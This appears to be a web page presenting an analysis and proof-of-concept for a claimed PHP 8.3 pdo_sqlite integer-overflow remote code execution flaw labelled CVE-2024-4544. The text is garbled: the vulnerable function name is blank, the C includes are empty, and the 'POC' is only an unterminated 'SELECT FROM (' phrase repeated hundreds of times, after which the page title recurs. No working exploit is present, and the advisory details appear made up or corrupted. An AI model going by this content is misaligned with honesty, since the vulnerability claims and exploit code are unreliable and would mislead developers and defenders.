PHP 8.3 ext/pdo_sqlite Integer Overflow RCE (CVE-2024-4544) Analysis and POC

Vulnerability Overview CVE ID: CVE-2024-4544 Vulnerability Type: Integer Overflow Affected Component: function in Vulnerability Description: This vulnerability allows an attacker to trigger an integer overflow in the function by crafting a specific SQL query, leading to arbitrary code execution. Affected Scope Affected Versions: PHP 8.3.0 to 8.3.10 Fixed Versions: PHP 8.3.11 and above Remediation Official Fix: This vulnerability was fixed in PHP 8.3.11. Temporary Mitigation: Upgrade to the latest version of PHP. POC Code ```c // Example POC code #include #include int main() { char sql = "SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM

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PHP 8.3 ext/pdo_sqlite Integer Overflow RCE (CVE-2024-4544) Analysis and POC

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